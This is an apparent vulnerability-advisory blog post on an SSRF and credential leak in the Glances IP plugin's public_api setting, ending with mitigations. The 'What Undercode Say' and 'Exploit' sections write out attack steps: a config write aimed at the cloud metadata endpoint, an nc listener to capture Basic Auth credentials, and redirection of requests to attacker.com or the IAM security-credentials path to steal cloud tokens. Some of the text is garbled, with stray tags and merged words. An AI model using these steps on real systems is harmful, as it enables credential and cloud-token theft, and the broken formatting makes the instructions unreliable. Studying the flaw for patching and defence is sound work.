Listen to this Post
The vulnerability arises because the `public_api` configuration parameter in Glances IP plugin is taken directly from user-controlled config files and passed to `urlopen_auth()` without any validation. An attacker who can write to `~/.config/glances/glances.conf` sets `public_api` to a malicious URL (e.g., http://127.0.0.1:9999/`). When Glances starts or the IP plugin refreshes, it creates a `ThreadPublicIpAddress` thread that calls `urlopen_auth()` with that URL. The function `urlopen_auth()` in `glances/globals.py` blindly opens an HTTP connection to the supplied address, automatically adding an `Authorization: Basic` header using any configured `public_username` andpublic_password. No scheme restriction (http/https vs file://, gopher://) and no IP/hostname filtering are applied. Thus, an attacker can force Glances to:
- Query internal services (localhost, private IPs)
- Reach cloud metadata endpoints (169.254.169.254)
- Leak credentials to an external attacker server
- Inject arbitrary data into the `/api/4/ip` output
The root cause is missing validation in `glances/plugins/ip/__init__.py` lines ~64-82 and unsafe usage of `urlopen_auth()` which accepts any URL and automatically attaches Basic Auth.
<h2 style="color: blue;">DailyCVE form:</h2>
Platform: Glances
Version: All versions
Vulnerability: SSRF + credential leak
Severity: Critical
date: Not disclosed
<h2 style="color: blue;">Prediction: 2026-05-21</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
Simulate malicious config write echo -e "[bash]\npublic_disabled=False\npublic_api=http://169.254.169.254/latest/meta-data/\npublic_username=fake\npublic_password=secret" > ~/.config/glances/glances.conf Start listener to capture credentials nc -lvnp 4444 Force SSRF and credential exfiltration glances --webserver Decode captured Basic Auth echo "ZmFrZTpzZWNyZXQ=" | base64 -d
<h2 style="color: blue;">Exploit:</h2>
1. Gain write access to Glances config file (~/.config/glances/glances.confor system-wide).[bash] public_api=http://attacker.com:8080/ssrf` plus `public_username` and
2. Setpublic_password.
3. Restart Glances or wait for plugin refresh.
- Attacker receives HTTP request with Basic Auth header containing credentials.
- Redirect `public_api` to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` to steal cloud tokens.
Protection from this CVE:
– Upgrade to patched version (when available) that validates URL scheme (allow only http/https) and blocks internal IPs (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).
– Manually restrict `public_api` to trusted external IPs only.
– Disable IP plugin if not needed (public_disabled=True).
– Run Glances with least-privilege user and restrict write access to config files.
Impact:
- SSRF: access internal network services, localhost, and cloud metadata endpoints.
- Credential leakage: Basic Auth credentials sent to any attacker-controlled server.
- Data injection: malicious responses from attacker server are stored and exposed via Glances API.
- Internal network reconnaissance and potential privilege escalation via leaked IAM tokens.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

